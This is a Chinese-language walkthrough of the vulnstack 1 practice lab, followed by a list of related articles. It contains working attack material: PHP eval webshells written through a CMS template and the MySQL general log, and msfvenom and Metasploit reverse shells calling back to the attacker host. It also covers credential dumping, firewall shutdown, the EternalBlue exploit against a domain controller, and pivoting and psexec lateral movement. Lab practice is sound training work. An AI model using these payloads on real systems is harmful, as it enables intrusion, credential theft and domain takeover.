网络拓扑图






环境搭建



本机双网卡


65网段和83网段是自己本机电脑(虚拟机)中的网卡, 靶机外网的IP需要借助我们这两个网段之一出网




Kali IP


kali地址网络适配器选择,为VMnetNAT模式会通过DHCP自动获取IP,本机65网卡会自动分配IP 和靶机win7同网段

简单来说,桥接模式是独立内网IP,NAT模式则是利用物理机的地址分配一个IP和物理同一个网段,双网卡就是一个情况,一个网段出网络,一个不出网,不出网IP为内网网段,或者自定义也是独立的地址



192.168.65.148 // kali 地址


扫描win7出网机开放端口,处于同一个网段可以扫描到



靶机IP


解压后出现后最vmx后缀文件,打开虚拟机自己弄好 初始密码为hongrisec@2019
已经全部修改为saber.1029







【注意】实际上域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24网段(同时已配置好域控 IP 必定为 192.168.52.138),故 VMware 仅主机模式的 VMnet1 网卡应注意也配置为 192.168.52.XXX/24 网段




IP地址

主机 IP地址
kali 攻击机 192.168.65.148(虚拟机VMnet8网卡)
本机双网卡=WIFi IP+kali IP 65+内部IP 172.28.160.1
Win7外网服务器 外网IP 192.168.65.154 / 内网IP 192.168.52.143
提权后IP变为65.155
Win2003 域成员机 192.168.52.141 (不出网IP固定52网段)
Win2008 DC 域控 192.168.52.138 (不出网IP固定52网段)

攻击机与win7 可以互相ping通出网,如果出现Ping不同可能是win7防火墙未关闭或未开机





Web GetShell


前期信息收集


win7机器打开小皮服务否则nmap无法扫描80端口和 3306



arp-scan-l    //  kali前期使用该命令扫出同有一网段下其他主机

xxxxx       // 确定了win7 IP 地地址为  192.168.65.154


扫描win7外网IP地址,目标开放了80 3306 端口

  nmap 192.168.65.154 



kali访问 80端口 phpinfo()页面: 自己主机也是可以访问到此页面,本身就是同一个网段,win7网段是物理机给予的



御剑目录扫描出数据库管理后台和beifen.rar文件路径

http://192.168.65.154/PhpMyAdmin

http://192.168.65.154/beifen.rar




压缩包config.php给出了数据库的账户密码信息


Yxcms后台模板 Getshell


下载压缩包解压后根据文件夹名称判断是个cms 拼接访问


主页公告信息泄露出了后台管理的地址和账户密码访问后登录即可

http://192.168.65.154/yxcms/index.php?r=admin

账户:admimm

密码:123456



登录后台找到前台模板进行编辑写一句话木马蚁剑联机.


选择编辑的文件为index_index.php 猜测应该是网站起始吧最好找路径

一句话

<?php eval($_POST["cmd"]);

phpinfo(); // 添加打印函数佐证

echo 'aaaaa'; // 输出 aaaaa

?>



访问网站前台马子上线,掏出蚁剑连接,取得webshell





PHPMyAdmin日志 Getshell


数据库登录如果无密码只能尝试弱口令了,这里是应该前期找文件已经有了密码直接登录就行了

账号: root

密码: root




into outfile写入一句话 X


INTO OUTFILE是MySQL数据库中的一个语句,它可以将查询结果写入到文件中


条件

  1. root权限

  2. 知道绝对路径

  3. secure_file_priv没有具体值


使用INTO OUTFILE将结果写入到文件中

SELECT 'Hello, world!' AS message INTO OUTFILE '/path/to/file.txt';


这样文件"/path/to/file.txt"的内容将变为:

Hello, world!



前期通过最高权限的账号登录了,并且源码泄露和phpinfo()已经知道了绝对路径,查secure_fiel_priv

show global variables like "%secure%"; // 查询

value为“null”时,不允许读取任意文件

value为“空”时,允许读取任意文件


这里值为null无法执行



phpmyadmin 日志写入一句话


使用语句查询路径,这是已经修改过的

show global variables like "%general%";




使用命令修改配置开关和路径

set global general_log="on";                //开启日志,修改为on

//修改日志路径(在上面提到的phpinfo.php中有泄露路径)

set global general_log_file="C:/phpStudy/WWW/a.php";


利用日志写入一句话木马位置是在网站www根目录下的a.php 直接访问连接

SELECT'<?php eval($_POST["cmd"]);?>' 



蚁剑连接成功取得webshell



后渗透


MSF 生成木马上线


Kali进入MSF生成shell.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.148  LPORT=1111 -f exe -o shell.exe

// -p为指定payload,使用msf的payload的时候要和这个相同,

//lhost为Kali ip,lport为 自定义端口,-f为payload类型为exe



拷贝木马使用蚁剑将文件上传到win7目录下


msf开启监听回响用handler模块接收反弹模块

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.65.148

set lport 1111

exploit




蚁剑虚拟终端运行exe文件 MSF成功反弹shell


反弹shell后先查看当前用户,而后通过getsystem命令直接进行提权到系统权限


getuid // 获取当前用户ID

getsystem // 用于获取系统权限的命令,通常在渗透测试中用于尝试提升当前用户权限至系统管理员权限。

// 这个命令通常在攻击者已经获得一定权限的情况下使用,以获取更高级别的权限。在实际操作中,getsystem命令可能会利用系统中的漏洞或弱点,以获取系统管理员权限



提取用户hash


run post/windows/gather/smart_hashdump   // 提取命令

load kiwi // 加载抓取密码工具

creds_all  // 抓取



hash加密方式


Windows系统中,哈希密码的格式通常为:用户名称:RID:LM-HASH值:NT-HASH值。

其中,NT-HASH是通过以下步骤生成的: 1. 将明文口令转换成十六进制的格式。

2. 将转换后的十六进制字符串转换成Unicode格式,即在每个字节之后添加0x00。

3. 对Unicode格式的字符串进行MD4加密,生成32位的十六进制数字串 举例来说,如果用户密码为test123,首先将其转换成十六进制的格式为74657374313233

然后转换成Unicode格式为7400650073007400310032003300。

最后,对Unicode字符串7400650073007400310032003300进行MD4加密,

得到NT-HASH值为c5a237b7e9d8e708d8436b6148a25fa1。 这个NT-HASH值可以用于验证用户的身份而无需存储明文密码。



run post/windows/manage/enable_rdp  // 开启3389远程桌面




nmap 探测属于3389端口处于开启状态




sessions -i  # 查看所有会话 这个要回到msf模块下才能看到

sessions 1  # 选择为此ID为1的会话






MSF权限ShellCS


开启CS 物理机Windows作为客户端 Kali作为服务端启动


创建监听器,端口号需和IP需和MSF监听设置一致,这里的IPkali地址


MSF 执行命令派发

bg  # 退出回到反弹模块

use exploit/windows/local/payload_inject # 本地漏洞利用模块payload_inject。这个模块通常用于在目标系统上注入恶意代码或payload

set payload windows/meterpreter/reverse_http # :设置payload 表示在目标系统上使用Meterpreter反向HTTP负载。这将允许建立一个反向连接

set DisablePayloadHandler true #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成

set lhost 192.168.65.148 #公网vps ip

set lport 80 #监听端口需和CS设置一直

set session 1 #派发session 为1 也就是第一个会话 通过会话列表可以查看

exploit




CS客户端成功收到反弹shell


CS 生成木马上线


CS上传非常简单,参考前文过程,生成的木马通过前文的蚁剑上传win7运行即可,上线,后续对win7信息收集和横向移动其他域内其他主机

蚁剑下操作

dir   // 列出当前目录下所有文件

.\beacon.exe // 运行木马文件 CS 成功上线



提权system


svc-exe 提权

1.创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
2.创建一个进程,并让进程创建命名管道。
3.让之前的以system权限启动的程序启动并连接这个命名管道。
4.利用ImpersonateNamedPipeClient()函数生成system权限的token。
5.利用system权限的token启动cmd.exe



信息收集



sleep 0  // 修改心跳速度为0 立马响应

shell systeminfo  // 查看主机系统详细信息



查看进行和防火墙开启状态是为了判断是是否有防护软件,但是显然是没有的,不然CS生成无免杀的马子是不能上传到win7服务器

shell tasklist // 查看被控主机进程列表






shell netsh firewall show state  // 查看防火墙状态是否开启,操作模式为禁用代表防火墙为关闭状态

出现命令提示:

Microsoft已经将防火墙管理工具从"netsh firewall"迁移到了"netsh advfirewall firewall"。

这种更改可能是为了提高安全性、功能性或性能等方面的考虑




  shell netsh advfirewall set allprofile state off // 完全关闭防火墙命令




域信息收集



shell net config Workstation  // 查看域信息




shell  view  // 查看当前域内列表,点击上方定位圆圈就可以看到





net dclist // 查看域控列表



抓取凭证hash win7主机3个用户账户密码


抓取明文密码





CS权限shellMSF


MSF开启监听模块,使用一个端口进行监听

msfconsole // 开启MSF

use exploit/multi/handler // 使用监听模块

set payload windows/meterpreter/reverse_htpp // 反向连接 CS将得到的权限反弹至MSF,协议和监听器一致

set lhost 0.0.0.0 // IP地址为任意的 任意地址流量都可以反弹

set lport 6666// 端口和监听器设置一致

run // 开启监听



CS这里是已经通过反向木马得到了shell,生成的木马监听器就是HTTP的,所以权限给msf时,新建的监听器还是HTTP


CS在需要委派的权限主机右键新建会话,则选择新的监听器为我们创建的



横向移动


横向渗透,使攻击机利用win7做跳板直接通讯到域控,利用win7为媒介

kali 攻击机 192.168.65.148
Win7外网服务器 外网IP 192.168.65.154 / 内网IP 192.168.52.143
Win2008 DC 域控 192.168.52.138 (不出网IP固定52网段)

MSF



MSF路由+Socks代理通讯


横向渗透前,将win7作为跳板机,将其内网52网段添加到路由,利用msf路由和socks配置让同一网段的机器可以通讯到


run post/multi/manage/autoroute  // 在当前会话自带添加路由 (攻击机添加一个网段和被控主机一个网段 52网段)

run autoroute -p // 查看当前路由 已经添加好了52网段



设置proxychains代理,,现在只是msf工具以使用,但的工具还是没有通讯的,所以再次建立一个路由

bg // 退回msfshell模式

use auxiliary/server/socks_proxy   // 使用socks代理 // 改名字了和之前小迪做的不一样

show options  // 查看设置



set srvhost 127.0.0.1  // 设置代理为本地

set srvport 888  // 有点问题再开了一个代理 端口为888

run  //  执行

jobs  // 查看后台任务



找到proxychains4.conf文件因为不会vim操作起来很不舒服,定位到端口位置,点击x后可以删除,点击i开始添加对应的端口号 和前文设置一致



ms17_010永恒之蓝445


昨晚配置路由和socks之后正常是kali是可以接收到52网段的流量,然后使用nmap探测开放端口,会探测到445然后打永恒之蓝得到权限

socks开启监听一个端口,将此流量转发给msf因为端口号设置一致,msf添加了路由,所以流量又被带入内网中,在kali中的工具都可以监听到


proxychains  nmap -Pn -sT 192.168.52.138

xxxx 发现存在445端口



检测永恒之蓝可能存在的地址

search ms17-010

use auxiliary/scanner/smb/smb_ms17_010 // 永恒之蓝漏洞扫描检测模块

set rhosts 192.168.3.21-32 // 检测此IP范围内

run


命令行出现 Host 漏洞可能存在,使用漏洞攻击模块进行攻击


这里域控密码忘记了登录补上.但总的就是这个意思了,先设置跳板机和sosks进行通讯,而后通过开放的端口利用永恒之蓝去打域控,打下了域控也就是差不多了

use exploit/windows/smb/ms17_010_eternalblue  // use 0 // 利用模块

set payload windows/x64/meterpreter/reverse_tcp // 设置攻击载荷反向

set lhost 192.168.52.143  //  地址为 跳板机win7地址,因为要通过它去打域控地址 138

set rhosts 192.168.52.138  //  被攻击的地址为域控

set lport  5555 // 随意选择kali一个端口进行监听

run  // 运行即可






CS


创建SMB监听器横向

SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效(系统防火墙默认是允许445的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹shell失败),此流量封装在SMB协议中



DC域控进行横向移动利用先前抓取的明文密码,配合SMB监听器,



运行后直接用抓取到的明文去移动直接正向连接域控主机,接下来可以拿域控去打另外一台机器,这是第一种派生方式,第二种beacon 上创建监听,用来作为跳板进行内网穿透 前提是能够通过 shell 之类访问到内网其他主机

横向移动psexec


感觉这个就是拿明文去移动启动机器了,psexec属于登录命令,在有密码情况下远程登录其他主机执行命令





简单粗暴拿下




红日安全vulnstack (一)的更多相关文章

  1. ATT&CK 实战 - 红日安全 vulnstack (二) 环境部署(劝退水文)

    靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 靶场简述 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博 ...

  2. ATT&CK 实战 - 红日安全 vulnstack (一) 靶机渗透

    关于部署:https://www.cnblogs.com/Cl0ud/p/13688649.html PS:好菜,后来发现内网主机还是PING不通VM1,索性三台主机全部配成NAT模式,按照WEB靶机 ...

  3. ATT&CK 实战 - 红日安全 vulnstack (一) 环境部署

    靶场描述: 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习.另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环.后续也会搭建真实APT实 ...

  4. 【红日安全-VulnStack】ATT&CK实战系列——红队实战(二)

    一.环境搭建 1.1 靶场下载 靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/ 靶机通用密码:  1qaz@WSX 1.2 环境配置 ...

  5. vulnstack靶机实战01

    前言 vulnstack是红日安全的一个实战环境,地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/最近在学习内网渗透方面的相关知识,通过对靶机的 ...

  6. [红日安全]Web安全Day1 - SQL注入实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  7. [红日安全]Web安全Day2 - XSS跨站实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  8. [红日安全]Web安全Day3 - CSRF实战攻防

    本文由红日安全成员: Once 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字 ...

  9. [红日安全]Web安全Day4 - SSRF实战攻防

    本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...

  10. [红日安全]Web安全Day5 - 任意文件上传实战攻防

    本文由红日安全成员: MisakiKata 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目 ...

随机推荐

  1. Java中关键字-instanceof-的真实应用场景-2022新项目

    instanceof关键字主要用来判断两个对象是否为同一种类型,举个例子如果有猫类.动物类,猫类继承自动物类: 判断某个类是否为动物类,就可以使用instanceof关键字.下面简单介绍几种真实的应用 ...

  2. [VueJsDev] 日志 - nginxConfig 配置文件备份

    [VueJsDev] 目录列表 https://www.cnblogs.com/pengchenggang/p/17037320.html nginxConfig 配置文件备份 ::: details ...

  3. WPF之属性

    目录 属性 依赖属性(Dependency Property) 依赖属性对内存的使用方式 声明和使用依赖属性 声明依赖属性 使用依赖属性 依赖属性的"属性" 依赖属性的" ...

  4. idea使用Mybatis Log查看执行的sql语句

    参考,欢迎点击原文:https://www.jb51.net/article/195895.htm https://blog.csdn.net/qq2710393/article/details/83 ...

  5. 记录--妙用computed拦截v-model,面试管都夸我细

    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 如何避免写出屎山,优雅的封装组件,在面试官面前大大加分,从这篇文章开始! 保持单向数据流 大家都知道vue是单项数据流的,子组件不能直接修 ...

  6. 记录--Vue中如何导出excel表格

    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 一.导出静态数据 1.安装 vue-json-excel npm i vue-json-excel 注意,此插件对node有版本要求,安装 ...

  7. 记录--使用Vue开发Chrome插件

    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 环境搭建 Vue Web-Extension - A Web-Extension preset for VueJS (vue-web-ex ...

  8. Swift Structured Concurrency

    异步函数 异步函数概念 异步和并发是两个不同的概念,并发(Concurrency)是指多个任务同时执行,这里的同时不是严格意义上的同一时刻,而是在稍大时间粒度上,多个任务可以同时推进,并发的实现可以是 ...

  9. Oracle 章节编号排序

    测试代码 CREATE TABLE TEST (CH_CODE VARCHAR2(10)); INSERT INTO TEST (CH_CODE) VALUES ('1.1'); INSERT INT ...

  10. 操作推荐-git工作流

    操作推荐-git工作流 sourcetree环境 sourcetree是一款可视化的版本管理软件 可以实现版本的管理和发布 同样,也支持git工作流的使用 创建git工作流 在main或者master ...